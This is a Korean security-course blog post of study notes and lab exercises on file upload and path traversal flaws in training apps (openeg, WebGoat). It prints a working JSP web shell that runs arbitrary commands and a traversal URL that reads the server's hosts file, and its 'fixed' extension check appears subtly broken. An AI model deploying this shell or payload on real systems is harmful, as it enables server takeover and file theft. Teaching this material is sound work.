[SK shieldus Rookies 16기][취약점 진단] File Upload 취약점 개요 및 공격실습

Jina·2023년 12월 21일
0

SK shieldus Rookies 16기

목록 보기
43/59
post-thumbnail
post-custom-banner

1. 파일 업로드 취약점 = File Upload

1.1. 정의

  • 파일 업로드 취약점 = 위험한 형식 파일 업로드
  • 파일 업로드 기능이 존재하는 경우, 업로드 하는 파일의 크기와 개수를 제한하지 않고 외부에서 직접 접근이 가능한 경로에 저장되는 경우 발생한다.

1.2. 파일 업로드 기능 존재 확인하는 법

<form> 태그와 <input> 태그 확인

<form ... method="post" enctype="multipart/form-data">
   	:	
	<input type="file" ...>
  	:
</form>

전송 패킷의 Content-Type 확인

POST /openeg/board/write.do HTTP/1.0
// 요청 본문의 인코딩 방식을 지정 (기본값: x-www-form-urlencoded)
Content-Type: multipart/form-data
// 요청 본문에 포함된 데이터의 크기
Content-Length: 22342
	:

<form> 태그의 enctype 속성이란?

  • 폼 데이터가 서버로 제출될 때 해당 데이터가 인코딩 되는 방법을 명시해주는 속성
  • 폼 데이터에 파일 업로드가 포함되는 경우 사용
  • method 속성값이 POST인 경우에만 사용 가능
  • 요청 패킷에 Content-Type 확인

enctype 속성값 종류

  • x-www-form-urlencoded
    • enctype 속성의 기본값.
    • 서버로 전달하는 값을 URL 인코딩 방식으로 인코딩해서 전송
      name=hong&age=23&email=hong%40test.com
  • multipart/form-data
    • 폼 데이터를 멀티파트 형식으로 전송
    • 모든 문자를 인코딩 X
    • 파일이나 이미지 전송 시 사용
  • text/plain
    • 공백 문자만 + 기호로 변환하고 나머지 문자는 모두 인코딩하지 않고 전송

1.3. 업로드하는 파일의 크기와 개수를 제한하지 않았을 경우 발생하는 문제점

  • 파일이 업로드되는 동안 연결을 독점하므로, 불필요하게 큰 파일을 업로드하여 서버의 연결 자원을 고갈시켜 정상적인 서비스를 방해할 수 있다.
  • 업로드한 파일은 임시 또는 영구적으로 서버에 저장되므로, 불필요한 파일(또는 의미없는 파일)을 업로드해서 서버의 디스크 자원을 고갈시켜 정상적인 서비스를 방해할 수 있다.

1.4. 외부에서 직접 접근이 가능한 경로에 저장되는 경우 발생하는 문제점

  • WebShell 파일을 업로드 및 실행하여 서버 제어권 탈취

외부에서 직접 접근이 가능한 경로란?
Web Root Directory 아래에 위치한 파일

웹 서버가 기준으로 정한 디렉터리 ⇒ Web Root Directory
외부에서 요청이 들어오면 Web Root Directory를 기준으로 한 상대 경로에 위치한 파일을 읽어서 또 실행해서 반환한다.

httpL//www.test.com:80/path/subpath/file

만약 위와 같은 URL이 있다면 www.tesst.com 서버의 80 포트를 사용하는 프로그램이 기준으로 정한 디렉터리가 존재한다.
예를 들어 /var/www/html 을 기준 디렉터리로 저장했다면 URL 상의 리소스는 해당 서버의 /var/www/html/path/subpath/file 로 존재해 /var/www/html/otherdir/otherfilehttp://www.test.com:80/otherdir/otherfile 로 접근이 가능해진다.

WebShell 파일이란?

  • 일반적으로 Server Side Script 언어를 이용해서 하나의 파일로 구성된 프로그램
  • Command Injection 공격을 효율적으로 할 수 있도록 만들어진 프로그램

1.5. 예상 피해

  • 서버의 연결 및 디스크 자원을 고갈시켜 정상적인 서비스 방해
  • 서버 제어권 탈취
  • 해당 서버가 악성 코드 유포지로 악용

1.6. 대응방안

  • 업로드 파일의 크기와 개수를 제한
  • 업로드 파일을 외부에서 접근할 수 없는 경로에 저장
  • 업로드 파일 저장 시 외부에서 알 수 없는 형식으로 실행 속성을 제거하고 저장

외부에서 접근할 수 없는 경로란? Web Root Directory 밖

실습문제1 - OS Command 파일 업로드 및 실행

Kali Linux > openeg

1. 게시판에 파일 업로드 취약점이 존재하는 지 확인

openeg > 게시판 > 이미지가 포함된 게시글 작성

2. 소스코드 확인

업로드한 파일이 외부에서 접근 가능한 경로에 원본 파일의 이름으로 저장되고 있다.

3. 파일 종류를 제한하고 있는지 확인

OS Command를 실행 시키는 파일 작성

// OSCommand.jsp
<%@ page import="java.io.*"%>
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</head>
<body>
	<form>
		<textarea name="cmd" cols="100" rows="5"></textarea>
		<br/>
		<input type="submit" />
	</form>
	<pre>
	<%
		// cmd 요청 파라미터의 값을 추출
        String cmd = request.getParameter("cmd"); 
		// 값이 있는 경우 
        if (cmd != null && !"".equals(cmd)) {     
			Process ps = null;
			InputStream is = null;
			InputStreamReader isr = null;
			BufferedReader br = null;
			try {
                // cmd 요청 파라미터의 값을 해당 서버의 쉘에서 실행 후 결과를 반환
                ps = Runtime.getRuntime().exec(cmd); 
				is = ps.getInputStream();                  
				isr = new InputStreamReader(is);
				br = new BufferedReader(isr);
				String line = null;
				while ((line = br.readLine()) != null) {
					out.println(line);
				}
			} catch (Exception e) {
				System.err.println(e);
			} finally {
				if (br != null) { br.close(); }
				if (isr != null) { isr.close(); }
				if (is != null) { is.close(); }
				if (ps != null) { ps.destroy(); }
			}
		}
	%> 
	</pre>
</body>
</html>

게시판에 OSCommand.jsp 파일 업로드

파일이 업로드된 경로로 이동하면 서버 쉘이 실행된 것을 확인할 수 있다.

4. 취약한 소스 코드를 확인

// BoardController.java
	//  게시판 글저장 처리
	@RequestMapping(value = "/write.do", method = RequestMethod.POST)
	public String boardWriteProc(@ModelAttribute("BoardModel") BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
		// CSRF 방어
		String stoken = (String)session.getAttribute("session_token");
		String ptoken = request.getParameter("request_token");
		
		if (ptoken == null || !ptoken.equals(stoken)) {
			session.setAttribute("error_message", "잘못된 접근입니다.");
			return "redirect:list.do";
		}
		
		// 업로드 파일을 저장할 경로를 설정 
		// 웹 루트 디렉터리의 서버 실제 경로 아래에 files 디렉터리를 만들고 그 아래에 파일을 저장
		String uploadPath = session.getServletContext().getRealPath("/") + "files/";
		File dir = new File(uploadPath);
		if (!dir.exists()) {
			dir.mkdir();
		}
		// 요청에서 file 이름의 파라미터를 가져와서 MultipartFile 인스턴스에 저장 ⇐ 파일에 대한 정보와 데이터가 저장
		MultipartFile file = request.getFile("file");
        // 첨부파일이 존재하는 경우 업로드 파일을 저장하는 경로 아래에 원본 파일명으로 저장
		if (file != null && !"".equals(file.getOriginalFilename())) {	
			String fileName = file.getOriginalFilename();
			File uploadFile = new File(uploadPath + fileName);
			// 동일한 파일이 존재하는 경우 날짜시간을 파일명 앞에 추가해서 저장
            if (uploadFile.exists()) {
				fileName = new Date().getTime() + fileName;		 
				uploadFile = new File(uploadPath + fileName);
			}
			try {
				// 업로드 파일을 위에서 설정한 경로와 이름으로 저장
                file.transferTo(uploadFile);				 
			} catch (Exception e) {				
				System.out.println("upload error");
			}
			// DB에 파일명을 저장하기 위해서 설정
            boardModel.setFileName(fileName);
		}
		
        // 게시판 내용에 개행문자를 <br/> 태그로 변경
        String content = boardModel.getContent().replaceAll("\r\n", "<br />");
		boardModel.setContent(content);
		
        // DB 저장을 위해서 설정	
		service.writeArticle(boardModel);						// DB에 설정된 데이터를 저장
		return "redirect:list.do";
	}
  • File Upload 취약점이 존재
  • 업로드 파일의 크기와 개수를 제한하지 않고, 외부에서 접근 가능한 Web Root Directory 아래에 원본 파일명으로 저장하기 때문에

5. 안전한 소스 코드로 변경

// BoardController.java
// 	업로드 가능한 파일 확장자를 정의
	private final String[] allowedFileExtention = { ".jpg", ".jpeg", ".png", ".jfif" };
	
	//  게시판 글저장 처리
	@RequestMapping(value = "/write.do", method = RequestMethod.POST)
	public String boardWriteProc(@ModelAttribute("BoardModel") BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
		// S: CSRF 방어
		String stoken = (String)session.getAttribute("session_token");
		String ptoken = request.getParameter("request_token");
		
		if (ptoken == null || !ptoken.equals(stoken)) {
			session.setAttribute("error_message", "잘못된 접근입니다.");
			return "redirect:list.do";
		}
		// E: CSRF 방어
		
		// #1 업로드 파일을 외부에서 접근할 수 없는 경로에 저장
		// String uploadPath = session.getServletContext().getRealPath("/") + "files/";
		String uploadPath = "c:/upload/files/";
		File dir = new File(uploadPath);
		if (!dir.exists()) {
			dir.mkdir();
		}
		MultipartFile file = request.getFile("file");
		if (file != null && !"".equals(file.getOriginalFilename())) {
			// #2-1 확장자를 비교해서 이미지 파일만 업로드할 수 있도록 제한
			//      "jpg", "jpeg", "png", "jfif"
			// 업로드 파일의 확장자를 추출
			String[] temp = file.getOriginalFilename().split("\\.");
			String extention = temp[temp.length-1];			
			// 확장자로 사용할 수 있는 목록에 업로드 파일의 확장자가 포함되어 있는지 확인
			List<String> list = new ArrayList<>(Arrays.asList(allowedFileExtention));
			if (!list.contains(extention)) {
				session.setAttribute("error_message", "이미지 파일만 업로드 가능합니다.");
				return "redirect:list.do";
			}
			
			
			// #2-2 업로드 파일의 크기가 2M 보다 큰 경우 오류 메시지와 함께 list 페이지로 리다이렉트
			if (file.getSize() > 2097152) {
				session.setAttribute("error_message", "2MB 이하의 크기만 첨부할 수 있습니다.");
				return "redirect:list.do";
			}
			
			// #3 외부에서 알 수 없도록 저장 파일명을 다른게 설정
			String savedFileName = UUID.randomUUID().toString();
			String fileName = file.getOriginalFilename();
			// File uploadFile = new File(uploadPath + fileName);
			File uploadFile = new File(uploadPath + savedFileName);
			/*	중복된 파일명이 생성되지 않으므로 주석 처리
			if (uploadFile.exists()) {
				fileName = new Date().getTime() + fileName;
				uploadFile = new File(uploadPath + fileName);
			}
			*/
			
			try {
				file.transferTo(uploadFile);
			} catch (Exception e) {
				System.out.println("upload error");
			}
			
			// #4 파일 저장 시 사용한 파일명을 DB에 저장할 수 있도록 설정
			boardModel.setSavedFileName(savedFileName);
			boardModel.setFileName(fileName);
		}
		String content = boardModel.getContent().replaceAll("\r\n", "<br />");
		boardModel.setContent(content);
		service.writeArticle(boardModel);
		return "redirect:list.do";
	}

6. 변경된 소스 코드 확인

파일이 저장될 디렉토리 생성하기

OS Command 파일 업로드하기

파일 업로드 취약점을 보완하면 업로드 파일이 외부에서 접근할 수 없는 경로에 원본 파일명이 아닌 다른 이름으로 저장되기 때문에 URL 주소를 이용해서는 접근할 수 없음

∴ 다운로드 기능이 필요 = 접근할 수 없는 경로의 파일을 읽어서 응답으로 반환하는 기능

7. 파일 다운로드 기능 만들기

BoardController.java에 이미지 다운로드 기능 구현하기

// BoardController.java
	@RequestMapping("/download.do")
	public void download(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
		// 요청 파라미터로 전달된 게시판 ID를 추출한다.
		int idx = Integer.parseInt(request.getParameter("idx"));
		//저장된 파일이름(savedFileName)을 추출하기 위해 게시판 ID와 일치하는 게시판 정보를 조회한다. 
		BoardModel board = service.getOneArticle(idx);
		
		if (board == null) {
			return;
		}
		
		// 원본 파일명 추출한다.
		String filename = board.getFileName();
		//저장에 사용한 파일명을 추출한다.
		String savedFileName = board.getSavedFileName();
		// 파일의 저장 경로 + 저장 파일명 ==> 파일을 열고 읽을 수 있다.
		String filePath = "c:/upload/files/" + savedFileName;
		
		BufferedOutputStream out = null;
		InputStream in = null;
		try {
			response.setContentType("image/jpeg");
			response.setHeader("Content-Disposition", "inline;filename=" + filename);
			File file = new File(filePath);
			in = new FileInputStream(file);
			out = new BufferedOutputStream(response.getOutputStream());
			int len;
			byte[] buf = new byte[1024];
			while ((len = in.read(buf)) > 0) {
				out.write(buf, 0, len);
			}
		} catch (Exception e) {
			e.printStackTrace();
			System.out.println("파일 전송 에러");
		} finally {
			if (out != null) {
				try {
					out.close();
				} catch (Exception e) {

				}
			}
			if (in != null) {
				try {
					in.close();
				} catch (Exception e) {

				}
			}
		}
	}

첨부했던 파일을 URL을 통해서 호출X → 다운로드 기능을 이용해 다운로드 받도록 view.jsp 수정

// view.jsp
<c:if test="${board.fileName != null}">
  <tr>
	<td colspan="4" align="left">
		첨부파일 : 
		<br /><a href="../files/${board.fileName}" target="_blank">${board.fileName}</a>
		<br /><img src="../files/${board.fileName}" />
		<hr/>
		수정된 첨부파일 보기
		<br /><a href="download.do?idx=${board.idx}" target="_blank">${board.fileName}</a>
		<br /><img src="download.do?idx=${board.idx}" />
		<br />
	</td>
  </tr>
</c:if>

8. 다운로드 기능을 잘못 구현하는 경우

view.jsp

<c:if test="${board.fileName != null}">
	<tr>
	  <td colspan="4" align="left">				
           첨부파일 : 
		   <br /><a href="../files/${board.fileName}" target="_blank">${board.fileName}</a>
		   <br /><img src="../files/${board.fileName}" />
				
		   <hr/>
		   수정된 첨부파일 보기
		   <br /><a href="download.do?idx=${board.idx}" target="_blank">${board.fileName}</a>
		   <br /><img src="download.do?idx=${board.idx}" />
				
		   <hr/>
		   안전하지 않은 방식으로 수정된 첨부파일 보기
		   <br /><a href="download2.do?file=${board.savedFileName}" target="_blank">${board.fileName}</a>
		   <br /><img src="download2.do?file=${board.savedFileName}" />
	    </td>
	</tr>
</c:if>

BoardController.java

// 안전하지 않은 방법으로 이미지 다운로드 기능을 구현
	@RequestMapping("/download2.do")
	public void download2(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
		// 요청 파라미터로 전달된 저장 이미지 이름을 추출
		String savedFileName = request.getParameter("file");
				
		String filePath = "c:/upload/files/" + savedFileName;

		BufferedOutputStream out = null;
		InputStream in = null;
		try {
			response.setContentType("image/*");
			response.setHeader("Content-Disposition", "inline; filename=" + savedFileName);
			File file = new File(filePath);
			in = new FileInputStream(file);
			out = new BufferedOutputStream(response.getOutputStream());
			int len;
			byte[] buf = new byte[1024];
			while ((len = in.read(buf)) > 0) {
				out.write(buf, 0, len);
			}
		} catch (Exception e) {
			e.printStackTrace();
			System.out.println("파일 전송 에러");
		} finally {
			if (out != null) {
				try {
					out.close();
				} catch (Exception e) {

				}
			}
			if (in != null) {
				try {
					in.close();
				} catch (Exception e) {

				}
			}
		}
	}

이미지 다운로드 경로를 아래와 같이 변경 후 브라우저를 통해서 요청 ⇒ 다운로드 받은 파일을 메모장으로 열어보면 해당 서버의 hosts 파일 내용이 제공
http://victim:8080/openeg/board/download2.do?file=../../../../../../../../Windows/System32/drivers/etc/hosts

2. 경로 조작 = Path Traversal

2.1. 정의

  • Path Traversal or Directory Traversal
  • 외부에서 전달된 값이 서부 내부의 파일을 참조하는데 사용되는 경우 경로를 조작하는 특수문자 등을 포함 여부를 확인하지 않고, 사용하면 제한된 경로를 벗어나 시스템 파일 등에 접근이 가능해지는 취약점이다.

다음은 파일 다운로드 코드의 일부이다.

String filePath = request.getParameter("file");	
File file = new File(filePath);
// 예상 경로 ⇒ download.do?file=c:/upload/files/SAVEDFILENAME

위와 같이 작성 시 요청 파라미터를 통해서 서버 내부의 파일 저장 경로가 노출될 수 있다. 그러므로 파일이 저장된 경로를 외부에서 알 수 없도록 하게 위해서는 아래 코드처럼 외부에서는 파일명만 받아오고, 서버 내부에서 가지고 있는 저장 경로를 결합해서 파일을 오픈해야 한다.

String savedFileName = request.getParameter("file");
String filePath = "c:/upload/files/" + savedFileName

이 방식은 파일 저장 경로는 외부에 노출되지 않으나, 파일명에 경로 조작 문자열 포함 여부를 확인하지 않았기 때문에 원래 접근할 수 없는 (시스템) 경로의 파일을 다운로드 할 수 있는 문제가 발생할 수 있다.

2.2. 방어 기법

외부 입력값을 서버 내부 파일을 참조하는데 사용하는 경우

  • 외부 입력값에 경로 조작 문자열 포함 여부를 확인하고 사용
  • 사용할 수 있는 값을 미리 정의하고 정의된 범위 내의 값만 사용하도록 제한 ⇒ 허용 목록 방식의 제한

∴ 파일 업로드 기능을 안전하게 구현하면 필연적으로 파일 다운로드 기능을 구현해야 하며, 파일 다운로드 기능을 구현할 때는 경로 조작 취약점이 발생하지 않도록 해야 한다.

실습문제2 - 경로 순회

WebGoat (id: webgoat / pw: webgoat) > Access Control Flaws > Bypass a Path Based Access Control Scheme

1. 목적

C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\conf\tomcat-users.xml 파일의 내용을 화면에 출력해보기

2. 소스코드 확인

예상 요청 방식
POST attack?Scrren=51&menu=200 HTTP 1.1
File=AccessControlMatrix.html&SUBMIT=View+File

3. BurpSuit로 서버에 AccessControlMatrix.html을 요청하는 패킷 Intercept

File 값으로 ../ 를 사용이 가능한지 확인 후 경로 작성

4. 결과 확인

profile
공부 기록
post-custom-banner

0개의 댓글